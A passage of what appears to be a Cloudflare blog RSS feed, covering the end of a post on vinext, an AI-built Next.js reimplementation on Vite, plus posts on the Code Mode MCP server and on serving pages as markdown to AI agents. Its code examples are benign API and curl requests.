            <p>For a site with 100,000 product pages, the power law means 90% of traffic usually goes to 50 to 200 pages. Those get pre-rendered in seconds. Everything else falls back to on-demand SSR and gets cached via ISR after the first request. Every new deploy refreshes the set based on current traffic patterns. Pages that go viral get picked up automatically. All of this works without <code>generateStaticParams()</code> and without coupling your build to your production database.</p>
    <div>
      <h2>Taking on the Next.js challenge, but this time with AI</h2>
      <a href="#taking-on-the-next-js-challenge-but-this-time-with-ai">
        
      </a>
    </div>
    <p>A project like this would normally take a team of engineers months, if not years. Several teams at various companies have attempted it, and the scope is just enormous. We tried once at Cloudflare! Two routers, 33+ module shims, server rendering pipelines, RSC streaming, file-system routing, middleware, caching, static export. There's a reason nobody has pulled it off.</p><p>This time we did it in under a week. One engineer (technically engineering manager) directing AI.</p><p>The first commit landed on February 13. By the end of that same evening, both the Pages Router and App Router had basic SSR working, along with middleware, server actions, and streaming. By the next afternoon, <a href="https://app-router-playground.vinext.workers.dev"><u>App Router Playground</u></a> was rendering 10 of 11 routes. By day three, <code>vinext deploy</code> was shipping apps to Cloudflare Workers with full client hydration. The rest of the week was hardening: fixing edge cases, expanding the test suite, bringing API coverage to 94%.</p><p>What changed from those earlier attempts? AI got better. Way better.</p>
    <div>
      <h2>Why this problem is made for AI</h2>
      <a href="#why-this-problem-is-made-for-ai">
        
      </a>
    </div>
    <p>Not every project would go this way. This one did because a few things happened to line up at the right time.</p><p><b>Next.js is well-specified.</b> It has extensive documentation, a massive user base, and years of Stack Overflow answers and tutorials. The API surface is all over the training data. When you ask Claude to implement <code>getServerSideProps</code> or explain how <code>useRouter</code> works, it doesn't hallucinate. It knows how Next works.</p><p><b>Next.js has an elaborate test suite.</b> The <a href="https://github.com/vercel/next.js"><u>Next.js repo</u></a> contains thousands of E2E tests covering every feature and edge case. We ported tests directly from their suite (you can see the attribution in the code). This gave us a specification we could verify against mechanically.</p><p><b>Vite is an excellent foundation.</b> <a href="https://vite.dev/"><u>Vite</u></a> handles the hard parts of front-end tooling: fast HMR, native ESM, a clean plugin API, production bundling. We didn't have to build a bundler. We just had to teach it to speak Next.js. <a href="https://github.com/vitejs/vite-plugin-rsc"><code><u>@vitejs/plugin-rsc</u></code></a> is still early, but it gave us React Server Components support without having to build an RSC implementation from scratch.</p><p><b>The models caught up.</b> We don't think this would have been possible even a few months ago. Earlier models couldn't sustain coherence across a codebase this size. New models can hold the full architecture in context, reason about how modules interact, and produce correct code often enough to keep momentum going. At times, I saw it go into Next, Vite, and React internals to figure out a bug. The state-of-the-art models are impressive, and they seem to keep getting better.</p><p>All of those things had to be true at the same time. Well-documented target API, comprehensive test suite, solid build tool underneath, and a model that could actually handle the complexity. Take any one of them away and this doesn't work nearly as well.</p>
    <div>
      <h2>How we actually built it</h2>
      <a href="#how-we-actually-built-it">
        
      </a>
    </div>
    <p>Almost every line of code in vinext was written by AI. But here's the thing that matters more: every line passes the same quality gates you'd expect from human-written code. The project has 1,700+ Vitest tests, 380 Playwright E2E tests, full TypeScript type checking via tsgo, and linting via oxlint. Continuous integration runs all of it on every pull request. Establishing a set of good guardrails is critical to making AI productive in a codebase.</p><p>The process started with a plan. I spent a couple of hours going back and forth with Claude in <a href="https://opencode.ai"><u>OpenCode</u></a> to define the architecture: what to build, in what order, which abstractions to use. That plan became the north star. From there, the workflow was straightforward:</p><ol><li><p>Define a task ("implement the <code>next/navigation</code> shim with usePathname, <code>useSearchParams</code>, <code>useRouter</code>").</p></li><li><p>Let the AI write the implementation and tests.</p></li><li><p>Run the test suite.</p></li><li><p>If tests pass, merge. If not, give the AI the error output and let it iterate.</p></li><li><p>Repeat.</p></li></ol><p>We wired up AI agents for code review too. When a PR was opened, an agent reviewed it. When review comments came back, another agent addressed them. The feedback loop was mostly automated. </p><p>It didn't work perfectly every time. There were PRs that were just wrong. The AI would confidently implement something that seemed right but didn't match actual Next.js behavior. I had to course-correct regularly. Architecture decisions, prioritization, knowing when the AI was headed down a dead end: that was all me. When you give AI good direction, good context, and good guardrails, it can be very productive. But the human still has to steer.</p><p>For browser-level testing, I used <a href="https://github.com/vercel-labs/agent-browser"><u>agent-browser</u></a> to verify actual rendered output, client-side navigation, and hydration behavior. Unit tests miss a lot of subtle browser issues. This caught them.</p><p>Over the course of the project, we ran over 800 sessions in OpenCode. Total cost: roughly $1,100 in Claude API tokens.</p>
    <div>
      <h2>What this means for software</h2>
      <a href="#what-this-means-for-software">
        
      </a>
    </div>
    <p>Why do we have so many layers in the stack? This project forced me to think deeply about this question. And to consider how AI impacts the answer.</p><p>Most abstractions in software exist because humans need help. We couldn't hold the whole system in our heads, so we built layers to manage the complexity for us. Each layer made the next person's job easier. That's how you end up with frameworks on top of frameworks, wrapper libraries, thousands of lines of glue code.</p><p>AI doesn't have the same limitation. It can hold the whole system in context and just write the code. It doesn't need an intermediate framework to stay organized. It just needs a spec and a foundation to build on.</p><p>It's not clear yet which abstractions are truly foundational and which ones were just crutches for human cognition. That line is going to shift a lot over the next few years. But vinext is a data point. We took an API contract, a build tool, and an AI model, and the AI wrote everything in between. No intermediate framework needed. We think this pattern will repeat across a lot of software. The layers we've built up over the years aren't all going to make it.</p>
    <div>
      <h2>Acknowledgments</h2>
      <a href="#acknowledgments">
        
      </a>
    </div>
    <p>Thanks to the Vite team. <a href="https://vite.dev/"><u>Vite</u></a> is the foundation this whole thing stands on. <a href="https://github.com/vitejs/vite-plugin-rsc"><code><u>@vitejs/plugin-rsc</u></code></a> is still early days, but it gave me RSC support without having to build that from scratch, which would have been a dealbreaker. The Vite maintainers were responsive and helpful as I pushed the plugin into territory it hadn't been tested in before.</p><p>We also want to acknowledge the <a href="https://nextjs.org/"><u>Next.js</u></a> team. They've spent years building a framework that raised the bar for what React development could look like. The fact that their API surface is so well-documented and their test suite so comprehensive is a big part of what made this project possible. vinext wouldn't exist without the standard they set.</p>
    <div>
      <h2>Try it</h2>
      <a href="#try-it">
        
      </a>
    </div>
    <p>vinext includes an <a href="https://agentskills.io"><u>Agent Skill</u></a> that handles migration for you. It works with Claude Code, OpenCode, Cursor, Codex, and dozens of other AI coding tools. Install it, open your Next.js project, and tell the AI to migrate:</p>
            <pre><code>npx skills add cloudflare/vinext</code></pre>
            <p>Then open your Next.js project in any supported tool and say:</p>
            <pre><code>migrate this project to vinext</code></pre>
            <p>The skill handles compatibility checking, dependency installation, config generation, and dev server startup. It knows what vinext supports and will flag anything that needs manual attention.</p><p>Or if you prefer doing it by hand:</p>
            <pre><code>npx vinext init    # Migrate an existing Next.js project
npx vinext dev     # Start the dev server
npx vinext deploy  # Ship to Cloudflare Workers</code></pre>
            <p>The source is at <a href="https://github.com/cloudflare/vinext"><u>github.com/cloudflare/vinext</u></a>. Issues, PRs, and feedback are welcome.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Open Source]]></category>
            <category><![CDATA[Performance]]></category>
            <guid isPermaLink="false">2w61xT0J7H7ECzhiABytS</guid>
            <dc:creator>Steve Faulkner</dc:creator>
        </item>
        <item>
            <title><![CDATA[Code Mode: give agents an entire API in 1,000 tokens]]></title>
            <link>https://blog.cloudflare.com/code-mode-mcp/</link>
            <pubDate>Fri, 20 Feb 2026 14:00:00 GMT</pubDate>
            <description><![CDATA[ The Cloudflare API has over 2,500 endpoints. Exposing each one as an MCP tool would consume over 2 million tokens. With Code Mode, we collapsed all of it into two tools and roughly 1,000 tokens of context. ]]></description>
            <content:encoded><![CDATA[ <p><a href="https://www.cloudflare.com/learning/ai/what-is-model-context-protocol-mcp/"><u>Model Context Protocol (MCP)</u></a> has become the standard way for AI agents to use external tools. But there is a tension at its core: agents need many tools to do useful work, yet every tool added fills the model's context window, leaving less room for the actual task. </p><p><a href="https://blog.cloudflare.com/code-mode/"><u>Code Mode</u></a> is a technique we first introduced for reducing context window usage during agent tool use. Instead of describing every operation as a separate tool, let the model write code against a typed SDK and execute the code safely in a <a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Dynamic Worker Loader</u></a>. The code acts as a compact plan. The model can explore tool operations, compose multiple calls, and return just the data it needs. Anthropic independently explored the same pattern in their <a href="https://www.anthropic.com/engineering/code-execution-with-mcp"><u>Code Execution with MCP</u></a> post.</p><p>Today we are introducing <a href="https://github.com/cloudflare/mcp"><u>a new MCP server</u></a> for the <a href="https://developers.cloudflare.com/api/"><u>entire Cloudflare API</u></a> — from <a href="https://developers.cloudflare.com/dns/"><u>DNS</u></a> and <a href="https://developers.cloudflare.com/cloudflare-one/"><u>Zero Trust</u></a> to <a href="https://workers.cloudflare.com/product/workers/"><u>Workers</u></a> and <a href="https://workers.cloudflare.com/product/r2/"><u>R2</u></a> — that uses Code Mode. With just two tools, search() and execute(), the server is able to provide access to the entire Cloudflare API over MCP, while consuming only around 1,000 tokens. The footprint stays fixed, no matter how many API endpoints exist.</p><p>For a large API like the Cloudflare API, Code Mode reduces the number of input tokens used by 99.9%. An equivalent MCP server without Code Mode would consume 1.17 million tokens — more than the entire context window of the most advanced foundation models.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7KqjQiI09KubtUSe9Dgf0N/6f37896084c7f34abca7dc36ab18d8e0/image2.png" />
          </figure><p><sup><i>Code mode savings vs native MCP, measured with </i></sup><a href="https://github.com/openai/tiktoken"><sup><i><u>tiktoken</u></i></sup></a><sup></sup></p><p>You can start using this new Cloudflare MCP server today. And we are also open-sourcing a new <a href="https://github.com/cloudflare/agents/tree/main/packages/codemode"><u>Code Mode SDK</u></a> in the <a href="https://github.com/cloudflare/agents"><u>Cloudflare Agents SDK</u></a>, so you can use the same approach in your own MCP servers and AI Agents.</p>
    <div>
      <h3>Server‑side Code Mode</h3>
      <a href="#server-side-code-mode">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/ir1KOZHIjVNyqdC9FSuZs/334456a711fb2b5fa612b3fc0b4adc48/images_BLOG-3184_2.png" />
          </figure><p>This new MCP server applies Code Mode server-side. Instead of thousands of tools, the server exports just two: <code>search()</code> and <code>execute()</code>. Both are powered by Code Mode. Here is the full tool surface area that gets loaded into the model context:</p>
            <pre><code>[
  {
    "name": "search",
    "description": "Search the Cloudflare OpenAPI spec. All $refs are pre-resolved inline.",
    "inputSchema": {
      "type": "object",
      "properties": {
        "code": {
          "type": "string",
          "description": "JavaScript async arrow function to search the OpenAPI spec"
        }
      },
      "required": ["code"]
    }
  },
  {
    "name": "execute",
    "description": "Execute JavaScript code against the Cloudflare API.",
    "inputSchema": {
      "type": "object",
      "properties": {
        "code": {
          "type": "string",
          "description": "JavaScript async arrow function to execute"
        }
      },
      "required": ["code"]
    }
  }
]
</code></pre>
            <p>To discover what it can do, the agent calls <code>search()</code>. It writes JavaScript against a typed representation of the OpenAPI spec. The agent can filter endpoints by product, path, tags, or any other metadata and narrow thousands of endpoints to the handful it needs. The full OpenAPI spec never enters the model context. The agent only interacts with it through code.</p><p>When the agent is ready to act, it calls <code>execute()</code>. The agent writes code that can make Cloudflare API requests, handle pagination, check responses, and chain operations together in a single execution. </p><p>Both tools run the generated code inside a <a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Dynamic Worker</u></a> isolate — a lightweight V8 sandbox with no file system, no environment variables to leak through prompt injection and external fetches disabled by default. Outbound requests can be explicitly controlled with outbound fetch handlers when needed.</p>
    <div>
      <h4>Example: Protecting an origin from DDoS attacks</h4>
      <a href="#example-protecting-an-origin-from-ddos-attacks">
        
      </a>
    </div>
    <p>Suppose a user tells their agent: "protect my origin from DDoS attacks." The agent's first step is to consult documentation. It might call the <a href="https://developers.cloudflare.com/agents/model-context-protocol/mcp-servers-for-cloudflare/"><u>Cloudflare Docs MCP Server</u></a>, use a <a href="https://github.com/cloudflare/skills"><u>Cloudflare Skill</u></a>, or search the web directly. From the docs it learns: put <a href="https://www.cloudflare.com/application-services/products/waf/"><u>Cloudflare WAF</u></a> and <a href="https://www.cloudflare.com/ddos/"><u>DDoS protection</u></a> rules in front of the origin.</p><p><b>Step 1: Search for the right endpoints
</b>The <code>search</code> tool gives the model a <code>spec</code> object: the full Cloudflare OpenAPI spec with all <code>$refs</code> pre-resolved. The model writes JavaScript against it. Here the agent looks for WAF and ruleset endpoints on a zone:</p>
            <pre><code>async () =&gt; {
  const results = [];
  for (const [path, methods] of Object.entries(spec.paths)) {
    if (path.includes('/zones/') &amp;&amp;
        (path.includes('firewall/waf') || path.includes('rulesets'))) {
      for (const [method, op] of Object.entries(methods)) {
        results.push({ method: method.toUpperCase(), path, summary: op.summary });
      }
    }
  }
  return results;
}
</code></pre>
            <p>The server runs this code in a Workers isolate and returns:</p>
            <pre><code>[
  { "method": "GET",    "path": "/zones/{zone_id}/firewall/waf/packages",              "summary": "List WAF packages" },
  { "method": "PATCH",  "path": "/zones/{zone_id}/firewall/waf/packages/{package_id}", "summary": "Update a WAF package" },
  { "method": "GET",    "path": "/zones/{zone_id}/firewall/waf/packages/{package_id}/rules", "summary": "List WAF rules" },
  { "method": "PATCH",  "path": "/zones/{zone_id}/firewall/waf/packages/{package_id}/rules/{rule_id}", "summary": "Update a WAF rule" },
  { "method": "GET",    "path": "/zones/{zone_id}/rulesets",                           "summary": "List zone rulesets" },
  { "method": "POST",   "path": "/zones/{zone_id}/rulesets",                           "summary": "Create a zone ruleset" },
  { "method": "GET",    "path": "/zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint", "summary": "Get a zone entry point ruleset" },
  { "method": "PUT",    "path": "/zones/{zone_id}/rulesets/phases/{ruleset_phase}/entrypoint", "summary": "Update a zone entry point ruleset" },
  { "method": "POST",   "path": "/zones/{zone_id}/rulesets/{ruleset_id}/rules",        "summary": "Create a zone ruleset rule" },
  { "method": "PATCH",  "path": "/zones/{zone_id}/rulesets/{ruleset_id}/rules/{rule_id}", "summary": "Update a zone ruleset rule" }
]
</code></pre>
            <p>The full Cloudflare API spec has over 2,500 endpoints. The model narrowed that to the WAF and ruleset endpoints it needs, without any of the spec entering the context window. </p><p>The model can also drill into a specific endpoint's schema before calling it. Here it inspects what phases are available on zone rulesets:</p>
            <pre><code>async () =&gt; {
  const op = spec.paths['/zones/{zone_id}/rulesets']?.get;
  const items = op?.responses?.['200']?.content?.['application/json']?.schema;
  // Walk the schema to find the phase enum
  const props = items?.allOf?.[1]?.properties?.result?.items?.allOf?.[1]?.properties;
  return { phases: props?.phase?.enum };
}

{
  "phases": [
    "ddos_l4", "ddos_l7",
    "http_request_firewall_custom", "http_request_firewall_managed",
    "http_response_firewall_managed", "http_ratelimit",
    "http_request_redirect", "http_request_transform",
    "magic_transit", "magic_transit_managed"
  ]
}
</code></pre>
            <p>The agent now knows the exact phases it needs: <code>ddos_l7 </code>for DDoS protection and <code>http_request_firewall_managed</code> for WAF.</p><p><b>Step 2: Act on the API
</b>The agent switches to using <code>execute</code>. The sandbox gets a <code>cloudflare.request()</code> client that can make authenticated calls to the Cloudflare API. First the agent checks what rulesets already exist on the zone:</p>
            <pre><code>async () =&gt; {
  const response = await cloudflare.request({
    method: "GET",
    path: `/zones/${zoneId}/rulesets`
  });
  return response.result.map(rs =&gt; ({
    name: rs.name, phase: rs.phase, kind: rs.kind
  }));
}

[
  { "name": "DDoS L7",          "phase": "ddos_l7",                        "kind": "managed" },
  { "name": "Cloudflare Managed","phase": "http_request_firewall_managed", "kind": "managed" },
  { "name": "Custom rules",     "phase": "http_request_firewall_custom",   "kind": "zone" }
]
</code></pre>
            <p>The agent sees that managed DDoS and WAF rulesets already exist. It can now chain calls to inspect their rules and update sensitivity levels in a single execution:</p>
            <pre><code>async () =&gt; {
  // Get the current DDoS L7 entrypoint ruleset
  const ddos = await cloudflare.request({
    method: "GET",
    path: `/zones/${zoneId}/rulesets/phases/ddos_l7/entrypoint`
  });

  // Get the WAF managed ruleset
  const waf = await cloudflare.request({
    method: "GET",
    path: `/zones/${zoneId}/rulesets/phases/http_request_firewall_managed/entrypoint`
  });
}
</code></pre>
            <p>This entire operation, from searching the spec and inspecting a schema to listing rulesets and fetching DDoS and WAF configurations, took four tool calls.</p>
    <div>
      <h3>The Cloudflare MCP server</h3>
      <a href="#the-cloudflare-mcp-server">
        
      </a>
    </div>
    <p>We started with MCP servers for individual products. Want an agent that manages DNS? Add the <a href="https://github.com/cloudflare/mcp-server-cloudflare/tree/main/apps/dns-analytics"><u>DNS MCP server</u></a>. Want Workers logs? Add the <a href="https://developers.cloudflare.com/agents/model-context-protocol/mcp-servers-for-cloudflare/"><u>Workers Observability MCP server</u></a>. Each server exported a fixed set of tools that mapped to API operations. This worked when the tool set was small, but the Cloudflare API has over 2,500 endpoints. No collection of hand-maintained servers could keep up.</p><p>The Cloudflare MCP server simplifies this. Two tools, roughly 1,000 tokens, and coverage of every endpoint in the API. When we add new products, the same <code>search()</code> and <code>execute()</code> code paths discover and call them — no new tool definitions, no new MCP servers. It even has support for the <a href="https://developers.cloudflare.com/analytics/graphql-api/"><u>GraphQL Analytics API</u></a>.</p><p>Our MCP server is built on the latest MCP specifications. It is OAuth 2.1 compliant, using <a href="https://github.com/cloudflare/workers-oauth-provider"><u>Workers OAuth Provider</u></a> to downscope the token to selected permissions approved by the user when connecting. The agent  only gets the capabilities the user explicitly granted. </p><p>For developers, this means you can use a simple agent loop and still give your agent access to the full Cloudflare API with built-in progressive capability discovery.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/60ZoSFdK6t6hR6DpAn6Bub/93b86239cedb06d7fb265859be7590e8/images_BLOG-3184_4.png" />
          </figure>
    <div>
      <h3>Comparing approaches to context reduction</h3>
      <a href="#comparing-approaches-to-context-reduction">
        
      </a>
    </div>
    <p>Several approaches have emerged to reduce how many tokens MCP tools consume:</p><p><b>Client-side Code Mode</b> was our first experiment. The model writes TypeScript against typed SDKs and runs it in a Dynamic Worker Loader on the client. The tradeoff is that it requires the agent to ship with secure sandbox access. Code Mode is implemented in <a href="https://block.github.io/goose/blog/2025/12/15/code-mode-mcp/"><u>Goose</u></a> and Anthropics Claude SDK as <a href="https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling"><u>Programmatic Tool Calling</u></a>.</p><p><b>Command-line interfaces </b>are another path. CLIs are self-documenting and reveal capabilities as the agent explores. Tools like <a href="https://openclaw.ai/"><u>OpenClaw</u></a> and <a href="https://blog.cloudflare.com/moltworker-self-hosted-ai-agent/"><u>Moltworker</u></a> convert MCP servers into CLIs using <a href="https://github.com/steipete/mcporter"><u>MCPorter</u></a> to give agents progressive disclosure. The limitation is obvious: the agent needs a shell, which not every environment provides and which introduces a much broader attack surface than a sandboxed isolate.</p><p><b>Dynamic tool search</b>, as used by <a href="https://x.com/trq212/status/2011523109871108570"><u>Anthropic in Claude Code</u></a>, surfaces a smaller set of tools hopefully relevant to the current task. It shrinks context use but now requires a search function that must be maintained and evaluated, and each matched tool still uses tokens.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5FPxVAuJggv7A08DbPsksb/aacb9087a79d08a1430ea87bb6960ad3/images_BLOG-3184_5.png" />
          </figure><p>Each approach solves a real problem. But for MCP servers specifically, server-side Code Mode combines their strengths: fixed token cost regardless of API size, no modifications needed on the agent side, progressive discovery built in, and safe execution inside a sandboxed isolate. The agent just calls two tools with code. Everything else happens on the server.</p>
    <div>
      <h3>Get started today</h3>
      <a href="#get-started-today">
        
      </a>
    </div>
    <p>The Cloudflare MCP server is available now. Point your MCP client at the server URL and you'll be redirected to Cloudflare to authorize and select the permissions to grant to your agent. Add this config to your MCP client: </p>
            <pre><code>{
  "mcpServers": {
    "cloudflare-api": {
      "url": "https://mcp.cloudflare.com/mcp"
    }
  }
}
</code></pre>
            <p>For CI/CD, automation, or if you prefer managing tokens yourself, create a Cloudflare API token with the permissions you need. Both user tokens and account tokens are supported and can be passed as bearer tokens in the <code>Authorization</code> header.</p><p>More information on different MCP setup configurations can be found at the <a href="https://github.com/cloudflare/mcp"><u>Cloudflare MCP repository</u></a>.</p>
    <div>
      <h3>Looking forward</h3>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>Code Mode solves context costs for a single API. But agents rarely talk to one service. A developer's agent might need the Cloudflare API alongside GitHub, a database, and an internal docs server. Each additional MCP server brings the same context window pressure we started with.</p><p><a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/"><u>Cloudflare MCP Server Portals</u></a> let you compose multiple MCP servers behind a single gateway with unified auth and access control. We are building a first-class Code Mode integration for all your MCP servers, and exposing them to agents with built-in progressive discovery and the same fixed-token footprint, regardless of how many services sit behind the gateway.</p> ]]></content:encoded>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Optimization]]></category>
            <category><![CDATA[Open Source]]></category>
            <guid isPermaLink="false">2lWwgP33VT0NJjZ3pWShsw</guid>
            <dc:creator>Matt Carey</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Markdown for Agents]]></title>
            <link>https://blog.cloudflare.com/markdown-for-agents/</link>
            <pubDate>Thu, 12 Feb 2026 14:03:00 GMT</pubDate>
            <description><![CDATA[ The way content is discovered online is shifting, from traditional search engines to AI agents that need structured data from a Web built for humans. It’s time to consider not just human visitors, but start to treat agents as first-class citizens. Markdown for Agents automatically converts any HTML page requested from our network to markdown. ]]></description>
            <content:encoded><![CDATA[ <p>The way content and businesses are discovered online is changing rapidly. In the past, traffic originated from traditional search engines, and SEO determined who got found first. Now the traffic is increasingly coming from AI crawlers and agents that demand structured data within the often-unstructured Web that was built for humans.</p><p>As a business, to continue to stay ahead, now is the time to consider not just human visitors, or traditional wisdom for SEO-optimization, but start to treat agents as first-class citizens. </p>
    <div>
      <h2>Why markdown is important</h2>
      <a href="#why-markdown-is-important">
        
      </a>
    </div>
    <p>Feeding raw HTML to an AI is like paying by the word to read packaging instead of the letter inside. A simple <code>## About Us</code> on a page in markdown costs roughly 3 tokens; its HTML equivalent – <code>&lt;h2 class="section-title" id="about"&gt;About Us&lt;/h2&gt;</code> – burns 12-15, and that's before you account for the <code>&lt;div&gt;</code> wrappers, nav bars, and script tags that pad every real web page and have zero semantic value.</p><p>This blog post you’re reading takes 16,180 tokens in HTML and 3,150 tokens when converted to markdown. <b>That’s a 80% reduction in token usage</b>.</p><p><a href="https://en.wikipedia.org/wiki/Markdown"><u>Markdown</u></a> has quickly become the <i>lingua franca</i> for agents and AI systems as a whole. The format’s explicit structure makes it ideal for AI processing, ultimately resulting in better results while minimizing token waste.</p><p>The problem is that the Web is made of HTML, not markdown, and page weight has been <a href="https://almanac.httparchive.org/en/2025/page-weight#page-weight-over-time"><u>steadily increasing</u></a> over the years, making pages hard to parse. For agents, their goal is to filter out all non-essential elements and scan the relevant content.</p><p>The conversion of HTML to markdown is now a common step for any AI pipeline. Still, this process is far from ideal: it wastes computation, adds costs and processing complexity, and above all, it may not be how the content creator intended their content to be used in the first place.</p><p>What if AI agents could bypass the complexities of intent analysis and document conversion, and instead receive structured markdown directly from the source?</p>
    <div>
      <h2>Convert HTML to markdown, automatically</h2>
      <a href="#convert-html-to-markdown-automatically">
        
      </a>
    </div>
    <p>Cloudflare's network now supports real-time content conversion at the source, for <a href="https://developers.cloudflare.com/fundamentals/reference/markdown-for-agents/"><u>enabled zones</u></a> using <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Content_negotiation"><u>content negotiation</u></a> headers. Now when AI systems request pages from any website that uses Cloudflare and has Markdown for Agents enabled, they can express the preference for text/markdown in the request. Our network will automatically and efficiently convert the HTML to markdown, when possible, on the fly.</p><p>Here’s how it works. To fetch the markdown version of any page from a zone with Markdown for Agents enabled, the client needs to add the <b>Accept</b> negotiation header with <code>text/markdown</code><b> </b>as one of the options. Cloudflare will detect this, fetch the original HTML version from the origin, and convert it to markdown before serving it to the client.</p><p>Here's a curl example with the Accept negotiation header requesting a page from our developer documentation:</p>
            <pre><code>curl https://developers.cloudflare.com/fundamentals/reference/markdown-for-agents/ \
  -H "Accept: text/markdown"
</code></pre>
            <p>Or if you’re building an AI Agent using Workers, you can use TypeScript:</p>
            <pre><code>const r = await fetch(
  `https://developers.cloudflare.com/fundamentals/reference/markdown-for-agents/`,
  {
    headers: {
      Accept: "text/markdown, text/html",
    },
  },
);
const tokenCount = r.headers.get("x-markdown-tokens");
const markdown = await r.text();
</code></pre>
            <p>We already see some of the most popular coding agents today – like Claude Code and OpenCode – send these accept headers with their requests for content. Now, the response to this request is formatted  in markdown. It's that simple.  </p>
            <pre><code>HTTP/2 200
date: Wed, 11 Feb 2026 11:44:48 GMT
content-type: text/markdown; charset=utf-8
content-length: 2899
vary: accept
x-markdown-tokens: 725
content-signal: ai-train=yes, search=yes, ai-input=yes

---
title: Markdown for Agents · Cloudflare Agents docs
---

## What is Markdown for Agents

The ability to parse and convert HTML to Markdown has become foundational for AI.
...
</code></pre>
            <p>Note that we include an <code>x-markdown-tokens</code> header with the converted response that indicates the estimated number of tokens in the markdown document. You can use this value in your flow, for example to calculate the size of a context window or to decide on your chunking strategy.</p><p>Here’s a diagram of how it works:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Zw1Q5kBBqTrouN1362H5I/3080d74a2a971be1f1e7e0ba79611998/BLOG-3162_2.png" />
          </figure>
    <div>
      <h3>Content Signals Policy</h3>
      <a href="#content-signals-policy">
        
      </a>
    </div>
    <p>During our last Birthday Week, Cloudflare <a href="https://blog.cloudflare.com/content-signals-policy/"><u>announced</u></a> Content Signals — <a href="http://contentsignals.org"><u>a framework</u></a> that allows anyone to express their preferences for how their content can be used after it has been accessed. </p><p>When you return markdown, you want to make sure your content is being used by the Agent or AI crawler. That’s why Markdown for Agents converted responses include the <code>Content-Signal: ai-train=yes, search=yes, ai-input=yes</code> header signaling that indicates content can be used for AI Training, Search results and AI Input, which includes agentic use. Markdown for Agents will provide options to define custom Content Signal policies in the future.</p><p>Check our dedicated <a href="https://contentsignals.org/"><u>Content Signals</u></a> page for more information on this framework.</p>
    <div>
      <h3>Try it with the Cloudflare Blog &amp; Developer Documentation </h3>
      <a href="#try-it-with-the-cloudflare-blog-developer-documentation">
        
      </a>
    </div>
    <p>We enabled this feature in our <a href="https://developers.cloudflare.com/"><u>Developer Documentation</u></a> and our <a href="https://blog.cloudflare.com/"><u>Blog</u></a>, inviting all AI crawlers and agents to consume our content using markdown instead of HTML.</p><p>Try it out now by requesting this blog with <code>Accept: text/markdown</code>.</p>
            <pre><code>curl https://blog.cloudflare.com/markdown-for-agents/ \
  -H "Accept: text/markdown"</code></pre>
            <p>The result is:</p>
            <pre><code>---
description: The way content is discovered online is shifting, from traditional search engines to AI agents that need structured data from a Web built for humans. It’s time to consider not just human visitors, but start to treat agents as first-class citizens. Markdown for Agents automatically converts any HTML page requested from our network to markdown.
title: Introducing Markdown for Agents
image: https://blog.cloudflare.com/images/markdown-for-agents.png
---

# Introducing Markdown for Agents

The way content and businesses are discovered online is changing rapidly. In the past, traffic originated from traditional search engines and SEO determined who got found first. Now the traffic is increasingly coming from AI crawlers and agents that demand structured data within the often-unstructured Web that was built for humans.

...</code></pre>
            
    <div>
      <h3>Other ways to convert to Markdown</h3>
      <a href="#other-ways-to-convert-to-markdown">
        
      </a>
    </div>
    <p>If you’re building AI systems that require arbitrary document conversion from outside Cloudflare or Markdown for Agents is not available from the content source, we provide other ways to convert documents to Markdown for your applications:</p><ul><li><p>Workers AI <a href="https://developers.cloudflare.com/workers-ai/features/markdown-conversion/"><u>AI.toMarkdown()</u></a> supports multiple document types, not just HTML, and summarization.</p></li><li><p>Browser Rendering <a href="https://developers.cloudflare.com/browser-rendering/rest-api/markdown-endpoint/"><u>/markdown</u></a> REST API supports markdown conversion if you need to render a dynamic page or application in a real browser before converting it.</p></li></ul>
    <div>
      <h2>Tracking markdown usage</h2>
      <a href="#tracking-markdown-usage">
        
      </a>
    </div>
    <p>Anticipating a shift in how AI systems browse the Web, Cloudflare Radar now includes content type insights for AI bot and crawler traffic, both globally on the <a href="https://radar.cloudflare.com/ai-insights#content-type"><u>AI Insights</u></a> page and in the <a href="https://radar.cloudflare.com/bots/directory/gptbot"><u>individual bot</u></a> information pages.</p><p>The new <code>content_type</code> dimension and filter shows the distribution of content types returned to AI agents and crawlers, grouped by <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types"><u>MIME type</u></a> category.  </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7vQzvzHsTLPXGhoQK0Xbr5/183129a8947990bc4ee5bb5ca7ba71b5/BLOG-3162_3.png" />
          </figure><p>You can also see the requests for markdown filtered by a specific agent or crawler. Here are the requests that return markdown to OAI-Searchbot, the crawler used by OpenAI to power ChatGPT’s search: </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7Ah99DWLxnYjadW6xJhAXg/afef4a29ae504d4fe69df4f9823dd103/BLOG-3162_4.png" />
          </figure><p>This new data will allow us to track the evolution of how AI bots, crawlers, and agents are consuming Web content over time. As always, everything on Radar is freely accessible via the <a href="https://developers.cloudflare.com/api/resources/radar/"><u>public APIs</u></a> and the <a href="https://radar.cloudflare.com/explorer?dataSet=ai.bots&amp;groupBy=content_type&amp;filters=userAgent%253DGPTBot&amp;timeCompare=1"><u>Data Explorer</u></a>. </p>
